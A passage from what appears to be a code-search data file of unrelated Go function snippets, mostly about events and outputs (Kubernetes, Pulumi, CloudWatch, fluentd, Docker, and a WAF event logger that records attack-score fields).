pub.messageSigner)\n}", "func bpfPerfEventOutputProgram() (*ebpf.Program, *ebpf.Map) {\n\treturn nil, nil\n}", "func (k *Kubernetes) Events() <-chan facts.ContainerEvent {\n\treturn k.Runtime.Events()\n}", "func OutputMap(t testing.TestingT, options *Options, key string) map[string]string {\n\tout, err := OutputMapE(t, options, key)\n\trequire.NoError(t, err)\n\treturn out\n}", "func (p *PodStatusResolver) Events() []*K8sEventResolver {\n\treturn p.events\n}", "func (s *VicStreamProxy) StreamEvents(ctx context.Context, out io.Writer) error {\n\top := trace.FromContext(ctx, \"\")\n\tdefer trace.End(trace.Begin(\"\", op))\n\topID := op.ID()\n\n\tif s.client == nil {\n\t\treturn errors.NillPortlayerClientError(\"StreamProxy\")\n\t}\n\n\tparams := events.NewGetEventsParamsWithContext(ctx).WithOpID(&opID)\n\tif _, err := s.client.Events.GetEvents(params, out); err != nil {\n\t\tswitch err := err.(type) {\n\t\tcase *events.GetEventsInternalServerError:\n\t\t\treturn errors.InternalServerError(\"Server error from the events port layer\")\n\t\tdefault:\n\t\t\t//Check for EOF. Since the connection, transport, and data handling are\n\t\t\t//encapsulated inside of Swagger, we can only detect EOF by checking the\n\t\t\t//error string\n\t\t\tif strings.Contains(err.Error(), SwaggerSubstringEOF) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn errors.InternalServerError(fmt.Sprintf(\"Unknown error from the interaction port layer: %s\", err))\n\t\t}\n\t}\n\n\treturn nil\n}", "func (engine *ConfigGenerator) generateOutputLabelBlocks(outputs []logforward.OutputSpec) ([]string, error) {\n\tconfigs := []string{}\n\tlogger.Debugf(\"Evaluating %v forwarding outputs...\", len(outputs))\n\tfor _, output := range outputs {\n\t\tlogger.Debugf(\"Generate output type %v\", output.Type)\n\t\toutputTemplateName := \"outputLabelConf\"\n\t\tvar storeTemplateName string\n\t\tswitch output.Type {\n\t\tcase logforward.OutputTypeElasticsearch:\n\t\t\tstoreTemplateName = \"storeElasticsearch\"\n\t\tcase logforward.OutputTypeForward:\n\t\t\tstoreTemplateName = \"forward\"\n\t\t\toutputTemplateName = \"outputLabelConfNoCopy\"\n\t\tcase logforward.OutputTypeSyslog:\n\t\t\tif engine.useOldRemoteSyslogPlugin {\n\t\t\t\tstoreTemplateName = \"storeSyslogOld\"\n\t\t\t} else {\n\t\t\t\tstoreTemplateName = \"storeSyslog\"\n\t\t\t}\n\t\t\toutputTemplateName = \"outputLabelConfNoRetry\"\n\t\tdefault:\n\t\t\tlogger.Warnf(\"Pipeline targets include an unrecognized type: %q\", output.Type)\n\t\t\tcontinue\n\t\t}\n\t\tconf := newOutputLabelConf(engine.Template, storeTemplateName, output)\n\t\tresult, err := engine.Execute(outputTemplateName, conf)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Error generating fluentd config Processing template outputLabelConf: %v\", err)\n\t\t}\n\t\tconfigs = append(configs, result)\n\t}\n\tlogger.Debugf(\"Generated output configurations: %v\", configs)\n\treturn configs, nil\n}", "func (sec *sensorExecutionCtx) extractEvents(params []v1alpha1.TriggerParameter) map[string]apicommon.Event {\n\tevents := make(map[string]apicommon.Event)\n\tfor _, param := range params {\n\t\tif param.Src != nil {\n\t\t\tlog := sec.log.WithFields(\n\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\"param-src\": param.Src.Event,\n\t\t\t\t\t\"param-dest\": param.Dest,\n\t\t\t\t})\n\t\t\tnode := sn.GetNodeByName(sec.sensor, param.Src.Event)\n\t\t\tif node == nil {\n\t\t\t\tlog.Warn(\"event dependency node does not exist, cannot apply parameter\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif node.Event == nil {\n\t\t\t\tlog.Warn(\"event in event dependency does not exist, cannot apply parameter\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tevents[param.Src.Event] = *node.Event\n\t\t}\n\t}\n\treturn events\n}", "func OutputForKeys(t testing.TestingT, options *Options, keys []string) map[string]interface{} {\n\tout, err := OutputForKeysE(t, options, keys)\n\trequire.NoError(t, err)\n\treturn out\n}", "func (f *FakeOutput) Outputs() []operator.Operator { return nil }", "func (p *EventProcessor) Process(events []publisher.Event) []publisher.Event {\n\tnewEvents := make([]publisher.Event, 0)\n\tfor _, event := range events {\n\t\t// Get the message from the log file\n\t\teventMsgFieldVal, err := event.Content.Fields.GetValue(\"message\")\n\t\tif err != nil {\n\t\t\tlog.Error(err.Error())\n\t\t\treturn newEvents\n\t\t}\n\n\t\teventMsg, ok := eventMsgFieldVal.(string)\n\t\tif ok {\n\t\t\t// Unmarshal the message into the struct representing traffic log entry in gateway logs\n\t\t\tbeatEvents := p.ProcessRaw([]byte(eventMsg))\n\t\t\tif beatEvents != nil {\n\t\t\t\tfor _, beatEvent := range beatEvents {\n\t\t\t\t\tpublisherEvent := publisher.Event{\n\t\t\t\t\t\tContent: beatEvent,\n\t\t\t\t\t}\n\t\t\t\t\tnewEvents = append(newEvents, publisherEvent)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn newEvents\n}", "func EventPublisher_Values() []string {\n\treturn []string{\n\t\tEventPublisherAnomalyDetection,\n\t}\n}", "func (r *Trail) EventSelectors() pulumi.ArrayOutput {\n\treturn (pulumi.ArrayOutput)(r.s.State[\"eventSelectors\"])\n}", "func (o FunctionOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *Function) pulumi.StringMapOutput { return v.Labels }).(pulumi.StringMapOutput)\n}", "func NewOutputs(outputsCfg config.Outputs) Outputs {\n\toutputs := make(Outputs)\n\tfor _, o := range outputsCfg {\n\t\tName := o.IO.Name\n\t\tType := o.IO.Type\n\t\tRepr := msgs.Representation(o.IO.Representation)\n\t\tChan := o.IO.Channel\n\t\tif !msgs.IsMessageTypeRegistered(Type) {\n\t\t\terrorString := fmt.Sprintf(\"The '%s' message type has not been registered!\", Type)\n\t\t\tpanic(errorString)\n\t\t}\n\t\tif !msgs.DoesMessageTypeImplementsRepresentation(Type, Repr) {\n\t\t\terrorString := fmt.Sprintf(\"'%s' message-type does not implement codec for '%s' representation format\", Type, Repr)\n\t\t\tpanic(errorString)\n\t\t}\n\t\toutputs[Name] = Output{IO{Name: Name, Type: Type, Representation: Repr, Channel: Chan}}\n\t}\n\treturn outputs\n}", "func (opts ShowConsoleOutputOpts) ToServerShowConsoleOutputMap() (map[string]interface{}, error) {\n\treturn gophercloud.BuildRequestBody(opts, \"os-getConsoleOutput\")\n}", "func (tc *consumer) Events() <-chan kafka.Event {\n\treturn tc.events\n}", "func (r *FirehoseDeliveryStream) Tags() pulumi.MapOutput {\n\treturn (pulumi.MapOutput)(r.s.State[\"tags\"])\n}", "func (c *Computation) Events() <-chan *messages.EventMessage {\n\treturn c.eventCh\n}", "func (eh EventHandler) GetEvents(w http.ResponseWriter, r *http.Request) {\n\tlog.Print(utils.InfoLog + \"EventHandler:GetEvents called\")\n\n\tvar queryVals *url.Values // base type *map[string][]string\n\tqueryValMap := r.URL.Query(); if len(queryValMap) == 0 {\n\t\tqueryVals = nil\n\t} else {\n\t\tqueryVals = &queryValMap\n\t}\n\n\tresults, err := eh.EventManager.GetEvents(queryVals); if err != nil {\n\t\tw.WriteHeader(err.StatusCode)\n\t\tjson.NewEncoder(w).Encode(err.Error)\n\t\treturn\n\t}\n\tjson.NewEncoder(w).Encode(results)\n\tw.WriteHeader(http.StatusOK)\n}", "func (s *server) GetEvents(ctx context.Context, eventData *event.EventFilter) (*event.EventResponse, error) {\n\n\treturn &event.EventResponse{}, nil\n}", "func (logger *Logger) Outputs(names ...string) []Output {\n\tlogger.mu.RLock()\n\tdefer logger.mu.RUnlock()\n\n\t// If the list of names is not empty, then we return only those outputs\n\t// that are specified in the list of names.\n\tif len(names) > 0 {\n\t\tresult := make([]Output, 0, len(names))\n\t\tfor _, name := range names {\n\t\t\tif o, ok := logger.outputs[name]; ok {\n\t\t\t\tresult = append(result, *o)\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\n\t// If the list of names is empty, then we return all outputs.\n\tresult := make([]Output, 0, len(logger.outputs))\n\tfor _, o := range logger.outputs {\n\t\tresult = append(result, *o)\n\t}\n\n\treturn result\n}", "func (engine *ECE) WriteEvent(reqId string) (err error) {\n\tevent := engine.RetrieveEvent(reqId)\n\n\tvar outputEvent OutputEvent\n\n\tif len(event.RequestEntries) > 0 {\n\t\toutputEvent = OutputEvent{\n\t\t\tServiceId: event.RequestEntries[0].ServiceId,\n\t\t\tRequestId: event.RequestEntries[0].RequestId,\n\t\t\tStartTime: event.RequestEntries[0].StartTime,\n\t\t\tFastlyInfo: event.RequestEntries[0].FastlyInfo,\n\t\t\tDatacenter: event.RequestEntries[0].Datacenter,\n\t\t\tClientIp: event.RequestEntries[0].ClientIp,\n\t\t\tReqMethod: event.RequestEntries[0].ReqMethod,\n\t\t\tReqURI: event.RequestEntries[0].ReqURI,\n\t\t\tReqHHost: event.RequestEntries[0].ReqHHost,\n\t\t\tReqHUserAgent: event.RequestEntries[0].ReqHUserAgent,\n\t\t\tReqHAcceptEncoding: event.RequestEntries[0].ReqHAcceptEncoding,\n\t\t\tReqHeaderBytes: event.RequestEntries[0].ReqHeaderBytes,\n\t\t\tReqBodyBytes: event.RequestEntries[0].ReqBodyBytes,\n\t\t\tWafLogged: event.RequestEntries[0].WafLogged,\n\t\t\tWafBlocked: event.RequestEntries[0].WafBlocked,\n\t\t\tWafFailures: event.RequestEntries[0].WafFailures,\n\t\t\tWafExecuted: event.RequestEntries[0].WafExecuted,\n\t\t\tAnomalyScore: event.RequestEntries[0].AnomalyScore,\n\t\t\tSqlInjectionScore: event.RequestEntries[0].SqlInjectionScore,\n\t\t\tRfiScore: event.RequestEntries[0].RfiScore,\n\t\t\tLfiScore: event.RequestEntries[0].LfiScore,\n\t\t\tRceScore: event.RequestEntries[0].RceScore,\n\t\t\tPhpInjectionScore: event.RequestEntries[0].PhpInjectionScore,\n\t\t\tSessionFixationScore: event.RequestEntries[0].SessionFixationScore,\n\t\t\tHTTPViolationScore: event.RequestEntries[0].HTTPViolationScore,\n\t\t\tXSSScore: event.RequestEntries[0].XSSScore,\n\t\t\tRespStatus: event.RequestEntries[0].RespStatus,\n\t\t\tRespBytes: event.RequestEntries[0].RespBytes,\n\t\t\tRespHeaderBytes: event.RequestEntries[0].RespHeaderBytes,\n\t\t\tRespBodyBytes: event.RequestEntries[0].RespBodyBytes,\n\t\t\tWafEvents: make([]OutputWaf, 0),\n\t\t}\n\t} else {\n\t\toutputEvent = OutputEvent{\n\t\t\tWafEvents: make([]OutputWaf, 0),\n\t\t}\n\t}\n\n\t// map to hold unique violated rule ids\n\truleIds := make(map[string]int)\n\n\tfor _, wafEvent := range event.WafEntries {\n\t\tvar decoded string\n\t\tif wafEvent.LogData != \"\" {\n\t\t\tdecodedBytes, _ := base64.StdEncoding.DecodeString(wafEvent.LogData)\n\t\t\tdecoded = string(decodedBytes)\n\t\t}\n\n\t\twafOut := OutputWaf{\n\t\t\tRuleId: wafEvent.RuleId,\n\t\t\tSeverity: wafEvent.Severity,\n\t\t\tAnomalyScore: wafEvent.AnomalyScore,\n\t\t\tLogData: decoded,\n\t\t\tWafMessage: wafEvent.WafMessage,\n\t\t}\n\n\t\toutputEvent.WafEvents = append(outputEvent.WafEvents, wafOut)\n\n\t\truleIds[wafEvent.RuleId] = 1\n\t}\n\n\t// make a list from the keys\n\tids := make([]int, len(ruleIds))\n\n\ti := 0\n\tfor id := range ruleIds {\n\t\tnumber, err := strconv.Atoi(id)\n\t\tif err != nil {\n\t\t\terr = errors.Wrapf(err, \"error converting %s to integer\", id)\n\t\t\treturn err\n\t\t}\n\n\t\tids[i] = number\n\t\ti++\n\t}\n\n\toutputEvent.RuleIds = ids\n\n\toutputBytes, err := json.Marshal(outputEvent)\n\n\tif err != nil {\n\t\terr = errors.Wrapf(err, \"failed to marshall output for req id %q\", reqId)\n\t\treturn err\n\t}\n\n\tengine.logger.Println(string(outputBytes))\n\n\terr = engine.RemoveEvent(reqId)\n\tif err != nil {\n\t\tlog.Printf(\"Error removing: %s\", err)\n\t}\n\n\treturn err\n}", "func eventStream(s []string) []event {\n\tvar id int\n\tevents := make([]event, len(s))\n\n\tfor i, l := range s {\n\t\tt, _ := time.Parse(\"2006-01-02 15:04\", l[1:17])\n\t\te := event{ts: t}\n\n\t\tswitch l[19:24] {\n\t\tcase \"Guard\":\n\t\t\te.typ = beginShift\n\t\t\tfmt.Sscanf(l[26:], \"%d\", &id)\n\t\t\te.id = id\n\t\tcase \"falls\":\n\t\t\te.typ = sleep\n\t\t\te.id = id\n\t\tcase \"wakes\":\n\t\t\te.typ = wake\n\t\t\te.id = id\n\t\t}\n\n\t\tevents[i] = e\n\t}\n\n\treturn events\n}", "func (i *InteractiveSpan) Events() []Event {\n\tout := i.events\n\ti.events = i.events[:0]\n\treturn out\n}", "func (my *Driver) JsonEvents() (events []string, e error) {\n\tvar jsonBytes []byte\n\n\tjds := my.mapChildResultsToJsonDescs()\n\tevents = make([]string, len(jds))\n\tfor i, v := range jds {\n\t\tjsonBytes, e = json.Marshal(v)\n\t\tif e != nil {\n\t\t\te = fmt.Errorf(\"Cannot translate to JSON: %#v (reason: %#v)\", jds[i], e)\n\t\t\treturn\n\t\t}\n\t\tevents[i] = string(jsonBytes)\n\t}\n\n\treturn\n}", "func ProjectEvents(p project.APIProject, c *cli.Context) error {\n\tevents, err := p.Events(context.Background(), c.Args()...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar printfn func(eventtypes.Message)\n\n\tif c.Bool(\"json\") {\n\t\tprintfn = printJSON\n\t} else {\n\t\tprintfn = printStd\n\t}\n\tfor event := range events {\n\t\tprintfn(event)\n\t}\n\treturn nil\n}", "func Events() {\n\temitter := events.NewEventEmitter()\n\n\tprintln(\"on('Hello', anonymous func)\")\n\temitter.On(\"Hello\", func() {\n\t\tprintln(\"Call anonymous func\")\n\t})\n\n\tprintln(\"on('Hello', foo)\")\n\temitter.On(\"Hello\", foo)\n\n\tprintln(\"once('Hello', bar)\")\n\temitter.Once(\"Hello\", bar)\n\n\tprintln(\"on('World', haz)\")\n\temitter.On(\"World\", haz)\n\n\tprintln(\"emit('Hello')\")\n\twg := emitter.Emit(\"Hello\", \"This is Message\", errors.New(\"This is error\"))\n\twg.Wait()\n\n\tprintln(\"emit('Hello') again\")\n\twg = emitter.Emit(\"Hello\", \"This is Message\", errors.New(\"This is error\"))\n\twg.Wait()\n\n\tprintln(\"emit('World')\")\n\twg = emitter.Emit(\"World\", \"This is Message\", errors.New(\"This is error\"))\n\twg.Wait()\n\n\tprintln(\"emit('WhatEver')\")\n\twg = emitter.Emit(\"WhatEver\", \"This is Message\", errors.New(\"This is error\"))\n\twg.Wait()\n\n\tprintln(\"Events Done\")\n}", "func (f *FakeOutput) GetOutputIDs() []string { return nil }", "func Events(payloadCh <-chan []byte, registryCh chan<- client.RegistryFunc) {\n\tpackets := make(map[uint64]client.RegistryFunc)\n\n\tgo func(payloadCh <-chan []byte, registryCh chan<- client.RegistryFunc) {\n\t\tvar index uint64 = startingIndex\n\n\t\tdefer close(registryCh)\n\n\t\tfor payload := range payloadCh {\n\t\t\tpkt, err := event.Parse(payload)\n\t\t\tif err != nil {\n\t\t\t\t// TODO(tmrts): might try to read the packet sequence no and skip that packet\n\t\t\t\t// to make sure the flow continues.\n\t\t\t\tlog.Debug(fmt.Sprintf(\"event.Parse(%#q) got error %#q\", string(payload), err))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tseq := pkt.Sequence()\n\t\t\t// Ignores packets with same sequence numbers or\n\t\t\t// lower than current index numbers.\n\t\t\tif _, ok := packets[seq]; !ok && seq >= index {\n\t\t\t\tpackets[seq] = notify.FuncFor(pkt)\n\t\t\t}\n\n\t\t\tfor {\n\t\t\t\tpkt, ok := packets[index]\n\t\t\t\tif !ok {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tregistryCh <- pkt\n\n\t\t\t\t// Evicts used event packets\n\t\t\t\t// NOTE: Bulk delete might increase performance\n\t\t\t\tdelete(packets, index)\n\n\t\t\t\tindex++\n\t\t\t}\n\t\t}\n\n\t\t// Send the remaning events\n\t\tfor {\n\t\t\tpkt, ok := packets[index]\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tregistryCh <- pkt\n\t\t\tindex++\n\t\t}\n\t}(payloadCh, registryCh)\n}", "func (c *CloudWatchLogs) TaskLogEvents(logGroupName string, streamLastEventTime map[string]int64, opts ...GetLogEventsOpts) (*LogEventsOutput, error) {\n\tvar events []*Event\n\tvar in *cloudwatchlogs.GetLogEventsInput\n\tlogStreamNames, err := c.logStreams(logGroupName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, logStreamName := range logStreamNames {\n\t\tin = &cloudwatchlogs.GetLogEventsInput{\n\t\t\tLogGroupName: aws.String(logGroupName),\n\t\t\tLogStreamName: logStreamName,\n\t\t\tLimit: aws.Int64(10), // default to be 10\n\t\t}\n\t\tfor _, opt := range opts {\n\t\t\topt(in)\n\t\t}\n\t\tif streamLastEventTime[*logStreamName] != 0 {\n\t\t\t// If last event for this log stream exists, increment last log event timestamp\n\t\t\t// by one to get logs after the last event.\n\t\t\tin.SetStartTime(streamLastEventTime[*logStreamName] + 1)\n\t\t}\n\t\t// TODO: https://github.com/aws/amazon-ecs-cli-v2/pull/628#discussion_r374291068 and https://github.com/aws/amazon-ecs-cli-v2/pull/628#discussion_r374294362\n\t\tresp, err := c.client.GetLogEvents(in)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"get log events of %s/%s: %w\", logGroupName, *logStreamName, err)\n\t\t}\n\n\t\tfor _, event := range resp.Events {\n\t\t\tlog := &Event{\n\t\t\t\tLogStreamName: trimLogStreamName(*logStreamName),\n\t\t\t\tIngestionTime: aws.Int64Value(event.IngestionTime),\n\t\t\t\tMessage: aws.StringValue(event.Message),\n\t\t\t\tTimestamp: aws.Int64Value(event.Timestamp),\n\t\t\t}\n\t\t\tevents = append(events, log)\n\t\t}\n\t\tif len(resp.Events) != 0 {\n\t\t\tstreamLastEventTime[*logStreamName] = *resp.Events[len(resp.Events)-1].Timestamp\n\t\t}\n\t}\n\tsort.SliceStable(events, func(i, j int) bool { return events[i].Timestamp < events[j].Timestamp })\n\tvar truncatedEvents []*Event\n\tif len(events) >= int(*in.Limit) {\n\t\ttruncatedEvents = events[len(events)-int(*in.Limit):]\n\t} else {\n\t\ttruncatedEvents = events\n\t}\n\treturn &LogEventsOutput{\n\t\tEvents: truncatedEvents,\n\t\tLastEventTime: streamLastEventTime,\n\t}, nil\n}", "func HumanFormatProcessEvents(msgs []model.MessageBody, w io.Writer, checkOutput bool) error {\n\t// ProcessEvent's TypedEvent is an interface\n\t// As text/template does not cast an interface to the underlying concrete type, we need to perform the cast before\n\t// rendering the template\n\ttype extendedEvent struct {\n\t\t*model.ProcessEvent\n\t\tExec *model.ProcessExec\n\t\tExit *model.ProcessExit\n\t}\n\n\tvar data struct {\n\t\tCheckOutput bool\n\t\tHostname string\n\t\tEvents []*extendedEvent\n\t}\n\n\tdata.CheckOutput = checkOutput\n\tfor _, m := range msgs {\n\t\tevtMsg, ok := m.(*model.CollectorProcEvent)\n\t\tif !ok {\n\t\t\treturn ErrUnexpectedMessageType\n\t\t}\n\t\tdata.Hostname = evtMsg.Hostname\n\n\t\tfor _, e := range evtMsg.Events {\n\t\t\textended := &extendedEvent{ProcessEvent: e}\n\t\t\tswitch typedEvent := e.TypedEvent.(type) {\n\t\t\tcase *model.ProcessEvent_Exec:\n\t\t\t\textended.Exec = typedEvent.Exec\n\t\t\tcase *model.ProcessEvent_Exit:\n\t\t\t\textended.Exit = typedEvent.Exit\n\t\t\t}\n\t\t\tdata.Events = append(data.Events, extended)\n\t\t}\n\t}\n\treturn renderTemplates(\n\t\tw,\n\t\tdata,\n\t\teventsTemplate,\n\t)\n}", "func Outs() ([]Out, error) {\n\td := Get()\n\tif d == nil {\n\t\treturn nil, fmt.Errorf(\"no driver registered\")\n\t}\n\treturn d.Outs()\n}", "func (m *MgmtCluster) Events() chan interface{} {\n\treturn m.events\n}", "func (s *BuildahTestSession) OutputToJSON() []map[string]interface{} {\n\tvar i []map[string]interface{}\n\tif err := json.Unmarshal(s.Out.Contents(), &i); err != nil {\n\t\tfmt.Println(err)\n\t\treturn nil\n\t}\n\treturn i\n}", "func aggregateEvents(events []*docker.ContainerEvent, filteredActions []string) map[string]*dockerEventBundle {\n\t// Pre-aggregate container events by image\n\teventsByImage := make(map[string]*dockerEventBundle)\n\tfilteredByType := make(map[string]int)\n\n\tfor _, event := range events {\n\t\tif matchFilter(event.Action, filteredActions) {\n\t\t\tfilteredByType[event.Action] = filteredByType[event.Action] + 1\n\t\t\tcontinue\n\t\t}\n\t\tbundle, found := eventsByImage[event.ImageName]\n\t\tif found == false {\n\t\t\tbundle = newDockerEventBundler(event.ImageName)\n\t\t\teventsByImage[event.ImageName] = bundle\n\t\t}\n\t\tbundle.addEvent(event) //nolint:errcheck\n\t}\n\n\tif len(filteredByType) > 0 {\n\t\tlog.Debugf(\"filtered out the following events: %s\", formatStringIntMap(filteredByType))\n\t}\n\treturn eventsByImage\n}", "func TaskProcessInfoEvents(taskId string, ts time.Time, limit, sort int) db.Q {\n\tfilter := bson.M{\n\t\tDataKey + \".\" + ResourceTypeKey: EventTaskProcessInfo,\n\t\tResourceIdKey: taskId,\n\t\tTypeKey: EventTaskProcessInfo,\n\t}\n\n\tsortSpec := TimestampKey\n\n\tif sort < 0 {\n\t\tsortSpec = \"-\" + sortSpec\n\t\tfilter[TimestampKey] = bson.M{\"$lte\": ts}\n\t} else {\n\t\tfilter[TimestampKey] = bson.M{\"$gte\": ts}\n\t}\n\n\treturn db.Query(filter).Sort([]string{sortSpec}).Limit(limit)\n}", "func (process *Process) Outputs(fs Filesystem) (cwl.Values, error) {\n\tprocess.fs = fs\n\toutdoc, err := fs.Contents(\"cwl.output.json\")\n\tif err == nil {\n\t\toutputs := cwl.Values{}\n\t\terr = json.Unmarshal([]byte(outdoc), &outputs)\n\t\treturn outputs, err\n\t}\n\n\toutputs := cwl.Values{}\n\tfor _, outi := range process.tool.Outputs {\n\t\tout := outi.(*cwl.CommandOutputParameter)\n\t\tv, err := process.bindOutput(fs, out.Type.SaladType, out.OutputBinding, out.SecondaryFiles, nil)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`failed to bind value for \"%s\": %s`, out.ID, err)\n\t\t}\n\t\toutputs[out.ID] = v\n\t}\n\treturn outputs, nil\n}", "func (o AppMonitorOutput) CustomEvents() AppMonitorCustomEventsOutput {\n\treturn o.ApplyT(func(v *AppMonitor) AppMonitorCustomEventsOutput { return v.CustomEvents }).(AppMonitorCustomEventsOutput)\n}", "func EventStreams(channels ...chan<- events.EngineEvent) Option {\n\treturn optionFunc(func(opts *Options) {\n\t\topts.EventStreams = channels\n\t})\n}", "func OutputMapE(t testing.TestingT, options *Options, key string) (map[string]string, error) {\n\tout, err := OutputJsonE(t, options, key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\toutputMap := map[string]interface{}{}\n\tif err := json.Unmarshal([]byte(out), &outputMap); err != nil {\n\t\treturn nil, err\n\t}\n\n\tresultMap := make(map[string]string)\n\tfor k, v := range outputMap {\n\t\tresultMap[k] = fmt.Sprintf(\"%v\", v)\n\t}\n\treturn resultMap, nil\n}", "func (r *VpcEndpointConnectionNotification) ConnectionEvents() pulumi.ArrayOutput {\n\treturn (pulumi.ArrayOutput)(r.s.State[\"connectionEvents\"])\n}", "func (instances *GCPInstances) MakeEvents() map[string]*usageeventsv1.ResourceCreateEvent {\n\tresourceType := types.DiscoveredResourceNode\n\tif instances.ScriptName == installers.InstallerScriptNameAgentless {\n\t\tresourceType = types.DiscoveredResourceAgentlessNode\n\t}\n\tevents := make(map[string]*usageeventsv1.ResourceCreateEvent, len(instances.Instances))\n\tfor _, inst := range instances.Instances {\n\t\tevents[fmt.Sprintf(\"%s%s/%s\", gcpEventPrefix, inst.ProjectID, inst.Name)] = &usageeventsv1.ResourceCreateEvent{\n\t\t\tResourceType: resourceType,\n\t\t\tResourceOrigin: types.OriginCloud,\n\t\t\tCloudProvider: types.CloudGCP,\n\t\t}\n\t}\n\treturn events\n}", "func (m *MockecsDescriber) Outputs() (map[string]string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Outputs\")\n\tret0, _ := ret[0].(map[string]string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (linux *linuxSystemObject) GetInputEvents() ([]gin.OsEvent, int64) {\n\tvar first_event *C.GlopKeyEvent\n\tcp := (*unsafe.Pointer)(unsafe.Pointer(&first_event))\n\tvar length C.int\n\tvar horizon C.longlong\n\tC.GlopGetInputEvents(cp, unsafe.Pointer(&length), unsafe.Pointer(&horizon))\n\tlinux.horizon = int64(horizon)\n\tc_events := (*[1000]C.GlopKeyEvent)(unsafe.Pointer(first_event))[:length]\n\tevents := make([]gin.OsEvent, length)\n\tfor i := range c_events {\n\t\twx, wy := linux.rawCursorToWindowCoords(int(c_events[i].cursor_x), int(c_events[i].cursor_y))\n\t\tevents[i] = gin.OsEvent{\n\t\t\tKeyId: gin.KeyId(c_events[i].index),\n\t\t\tPress_amt: float64(c_events[i].press_amt),\n\t\t\tTimestamp: int64(c_events[i].timestamp),\n\t\t\tX: wx,\n\t\t\tY: wy,\n\t\t}\n\t}\n\treturn events, linux.horizon\n}", "func GenerateTrafficEvents(Ndevices int64, NSectors int, MaxWindowHr float64) {\n\t// Ndevices = 72000\n\n\tvar Lamda float64 = 1.0 / (2 * 3600)\n\tfmt.Printf(\"\\n Mean Exp Distribution is %v\", 1.0/Lamda)\n\tfmt.Printf(\"\\n Ndevices %v\", Ndevices)\n\tfmt.Printf(\"\\n MaxWindow Hr %v\", MaxWindowHr)\n\tvar frameInterval = 0.01 // 10ms\n\n\tfname := fmt.Sprintf(basedir + \"events-cell0.csv\")\n\tfd, _ := os.Create(fname)\n\tdefer fd.Close()\n\theader, _ := vlib.Struct2HeaderLine(Event{})\n\tfd.WriteString(header)\n\n\tcfname := fmt.Sprintf(basedir + \"events-xx.csv\")\n\tcfd, _ := os.Create(cfname)\n\tdefer cfd.Close()\n\theader, _ = vlib.Struct2HeaderLine(IEvent{})\n\tcfd.WriteString(header)\n\n\tfor cell := 0; cell < NSectors; cell++ {\n\n\t\tvar events EventList\n\n\t\tdevice := progressbar.Default(Ndevices, \"Devices\")\n\t\tvar NEvents = 0\n\t\tfor devid := 0; devid < int(Ndevices); devid++ {\n\t\t\trndgen := rand.New(rand.NewSource(time.Now().Unix() + rand.Int63()))\n\t\t\tnsamples := make([]float64, 0, Nsamples)\n\t\t\ttEventFrameIndex := make([]int64, 0, Nsamples)\n\t\t\tvar pvs = 0.0\n\t\t\tvar maxcount = -1\n\t\t\tfor j := 0; j < Nsamples; j++ {\n\t\t\t\t// nsamples[j] = rand.ExpFloat64() / Lamda\n\t\t\t\tdiff := rndgen.ExpFloat64() / Lamda\n\t\t\t\tabstime := pvs + diff\n\t\t\t\tif abstime > MaxWindowHr {\n\t\t\t\t\tmaxcount = j - 1\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tnsamples = append(nsamples, abstime) // rndgen.ExpFloat64()/Lamda\n\t\t\t\ttEventFrameIndex = append(tEventFrameIndex, int64(math.Ceil(nsamples[j]/frameInterval)))\n\t\t\t\tpvs = abstime\n\t\t\t}\n\t\t\tif maxcount > -1 {\n\t\t\t\tfor _, v := range tEventFrameIndex {\n\t\t\t\t\tevents = append(events, Event{Frame: v, DeviceID: devid, SectorID: cell})\n\t\t\t\t}\n\t\t\t\tNEvents += len(tEventFrameIndex)\n\n\t\t\t}\n\t\t\tdevice.Add(1)\n\n\t\t}\n\n\t\tdevice = progressbar.Default(int64(NEvents), \"Sorting\")\n\t\tsort.Slice(events, func(i, j int) bool {\n\t\t\tdevice.Add(1)\n\t\t\treturn events[i].Frame < events[j].Frame\n\t\t})\n\n\t\tif math.Mod(float64(cell), float64(ActiveBSCells)) == 0 {\n\n\t\t\tdevice = progressbar.Default(int64(NEvents), \"Saving to \"+fname)\n\t\t\td3.ForEach(events, func(indx int, v Event) {\n\t\t\t\tdevice.Add(1)\n\t\t\t\tstr, _ := vlib.Struct2String(v)\n\t\t\t\tfd.WriteString(\"\\n\" + str)\n\t\t\t})\n\t\t} else {\n\t\t\tdevice = progressbar.Default(int64(NEvents), fmt.Sprintf(\"Saving to %s : cell %d\", cfname, cell))\n\t\t\td3.ForEach(events, func(indx int, v Event) {\n\t\t\t\tiv := IEvent{Frame: v.Frame, SectorID: cell}\n\t\t\t\tdevice.Add(1)\n\t\t\t\tstr, _ := vlib.Struct2String(iv)\n\t\t\t\tcfd.WriteString(\"\\n\" + str)\n\t\t\t})\n\t\t}\n\n\t}\n}", "func OutputMapOfObjects(t testing.TestingT, options *Options, key string) map[string]interface{} {\n\tout, err := OutputMapOfObjectsE(t, options, key)\n\trequire.NoError(t, err)\n\treturn out\n}", "func (p *MapToKeys) Out() *scipipe.OutPort { return p.OutPort(\"out\") }", "func (o *StdOutOutput) Run(batch []*event.Event) {\n\tfor _, event := range batch {\n\t\tif event != nil {\n\t\t\tfmt.Printf(\"%s\\n\", o.config.codec.Encode(event))\n\t\t}\n\t}\n\to.next.Run(batch)\n}", "func (container *Container) handleOutput(scanner *bufio.Scanner, source string, results chan<- error, stop <-chan bool, logger *log.Logger) {\n\t// we print app messages a different color so they stand out\n\tappMessage := color.New(color.FgWhite, color.BgBlack).SprintFunc()\n\n\t// 